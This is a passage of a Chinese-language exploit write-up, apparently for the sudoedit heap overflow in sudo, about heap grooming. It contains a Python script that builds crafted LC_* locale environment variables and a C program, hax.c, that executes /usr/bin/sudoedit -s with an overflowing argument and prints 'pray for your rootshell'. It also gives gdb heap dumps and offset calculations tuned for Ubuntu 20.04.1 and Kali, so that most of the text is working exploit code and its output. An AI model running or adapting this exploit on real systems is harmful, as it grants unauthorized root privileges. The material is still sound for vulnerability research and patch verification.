本地测试通过。

 

6 另一个堆布局思路

利用在环境变量中加入;x=x,使得释放后的chunk不会再被申请,因为LCALL的值之后都是”C”了,通过之前的调试知道需要覆盖的service_user结构体使用的chunk大小为0x40,那么先将除了LC_ALL的其他LC环境变量都设置为需要0x40大小的chunk的值。
一个py脚本方便生成环境变量:

#encoding:utf-8
LC_LEN = {
"LC_CTYPE":0x40,
"LC_NUMERIC":0x40,
"LC_TIME":0x40,
"LC_COLLATE":0x40,
"LC_MONETARY":0x40,
"LC_MESSAGES":0x40,
"LC_PAPER":0x40,
"LC_NAME":0x40,
"LC_ADDRESS":0x40,
"LC_TELEPHONE":0x40,
"LC_MEASUREMENT":0x40,
"LC_IDENTIFICATION":0x40
}
def getdata(key,length):
    default_data = "C.UTF-8@;x=x"
    data_len = length-0x10
    data = default_data+"A"*(data_len-len(default_data)-len(key)-1)+key
    return data
def main():
    LEN_DATA = {}
    for key in LC_LEN:
        data = getdata(key,LC_LEN[key])
        print("\"%s=%s\"," % (key,data))
if __name__=="__main__":
    main()

另外将参考exp中的hax.c进行了简化,仅针对当前系统

//hax.c

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <ctype.h>
#define MAX_ENVP 2000
#define SUDOEDIT_PATH "/usr/bin/sudoedit"
int main(int argc, char *argv[]) {
    int len_s,len_null;
    len_s = 0xe0;
    len_null = 10;
    char *lc_env[] = {
"LC_CTYPE=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAAAALC_CTYPE",
"LC_NUMERIC=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAALC_NUMERIC",
"LC_TIME=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAAAAALC_TIME",
"LC_COLLATE=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAALC_COLLATE",
"LC_MONETARY=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAALC_MONETARY",
"LC_MESSAGES=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAALC_MESSAGES",
"LC_PAPER=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAAAALC_PAPER",
"LC_NAME=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAAAAALC_NAME",
"LC_ADDRESS=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAAAALC_ADDRESS",
"LC_TELEPHONE=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAAAALC_TELEPHONE",
"LC_MEASUREMENT=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAAAAALC_MEASUREMENT",
"LC_IDENTIFICATION=C.UTF-8@;x=xAAAAAAAAAAAAAAAAAALC_IDENTIFICATION",
    };
    char *data_s = malloc(len_s);
    memset(data_s, 'A', len_s-2);
   // data_s[len_s-2] = '\\';确认偏移时先不设置。
    data_s[len_s-1] = '\x00';
    char *s_argv[]={
        "sudoedit", "-s", data_s, NULL
    };
    char *s_envp[MAX_ENVP];
    int envp_pos = 0;
    for(int i = 0; i < len_null; i++) {
        s_envp[envp_pos++] = "\\";
    }
    s_envp[envp_pos++] = "X/P0P_SH3LLZ_";
    for(int i = 0;i < 12;i++){
        s_envp[envp_pos++] = lc_env[i];
    }
    s_envp[envp_pos++] = NULL;
    printf("** pray for your rootshell.. **\n");
    execve(SUDOEDIT_PATH, s_argv, s_envp);
    return 0;
}

6.1 Ubuntu 20.04.1

1.执行完setlocale(LC_ALL,””)后,查看_nl_global_locale.__names

0x564eef15c140 "C.UTF-8@;x=x", 'A' <repeats 27 times>, "LC_CTYPE",
0x564eef15b880 "C.UTF-8@;x=x", 'A' <repeats 25 times>, "LC_NUMERIC",
0x564eef15b240 "C.UTF-8@;x=x", 'A' <repeats 28 times>, "LC_TIME",
0x564eef15a760 "C.UTF-8@;x=x", 'A' <repeats 25 times>, "LC_COLLATE",
0x564eef15a0c0 "C.UTF-8@;x=x", 'A' <repeats 24 times>, "LC_MONETARY",
0x564eef159800 "C.UTF-8@;x=x", 'A' <repeats 24 times>, "LC_MESSAGES",
0x564eef15c180 "LC_CTYPE=C.UTF-8@;x=x", 'A' <repeats 27 times>, "LC_CTYPE;LC_NUMERIC=C.UTF-8@;x=x", 'A' <repeats 25 times>, "LC_NUMERIC;LC_TIME=C.UTF-8@;x=x", 'A' <repeats 28 times>, "LC_TIME;LC_COLLATE=C.UTF-8@;x=xAAAAA"...,
0x564eef158d30 "C.UTF-8@;x=x", 'A' <repeats 27 times>, "LC_PAPER",
0x564eef158720 "C.UTF-8@;x=x", 'A' <repeats 28 times>, "LC_NAME",
0x564eef158180 "C.UTF-8@;x=x", 'A' <repeats 25 times>, "LC_ADDRESS",
0x564eef157b10 "C.UTF-8@;x=x", 'A' <repeats 23 times>, "LC_TELEPHONE",
0x564eef156610 "C.UTF-8@;x=x", 'A' <repeats 21 times>, "LC_MEASUREMENT",
0x564eef155f60 "C.UTF-8@;x=x", 'A' <repeats 18 times>, "LC_IDENTIFICATION"

2.在set_cmnd执行过后,查看nss_load_library的参数地址是:0x564eef15a0c0

service_user使用的是LC_MONETARY的chunk,离的最近的chunk就是LC_MESSAGES,因此将LC_MESSAGES分配的chunk大小修改为0xf0(根据参考文档得知0xf0大小的chunk未被申请过),之后只要使得的user_args申请的大小为0xf0即可。
修改后的环境变量,确认LC_MONETARY(0x55fcde73ea20)和LC_MESSAGES(0x55fcde73e1d0)的地址。

后续跟一下,确认user_args使用的地址是0x55fcde73e1d0,service_user使用的地址是0x55fcde73ea20。
现在计算偏移长度
0x55fcde73ea20-0x55fcde73e1d0+0x30=0x880=2176(PS:0x30是service_user的name属性的偏移量)
len_s-1+len_null = 2176
因此len_null = 1953

6.2 kali

换了另外一台kali系统,使用参考exp是无法成功的,按照上述思路构造一下。
系统环境

配置文件

相比于ubuntu的,passwd行会少分配一个service_user,所以环境变量设置,偏移肯定都需要重新计算,另外测试发现kali中会多申请一个0xf0的chunk,所以环境变量中需要设置两个0xf0。
python脚本中环境变量长度配置

LC_LEN = {
"LC_CTYPE":0x40,
"LC_NUMERIC":0x40,
"LC_TIME":0x40,
"LC_COLLATE":0x40,
"LC_MONETARY":0x40,
"LC_MESSAGES":0x40,
"LC_PAPER":0xf0,
"LC_NAME":0xf0,
"LC_ADDRESS":0x40,
"LC_TELEPHONE":0x40,
"LC_MEASUREMENT":0x40,
"LC_IDENTIFICATION":0x40
}

user_args使用的chunk是LC_PAPER,user_args使用的是LC_MESSAGES
调试确认两个chunk的地址,LC_PAPER:0x561c9d500530、LC_MESSAGES:0x561c9d4fff10
最后计算偏移
0x561c9d500530-0x561c9d4fff10+0x30 = 0x650 = 1616
len_null = 1616+1-len_s = 1393

(完)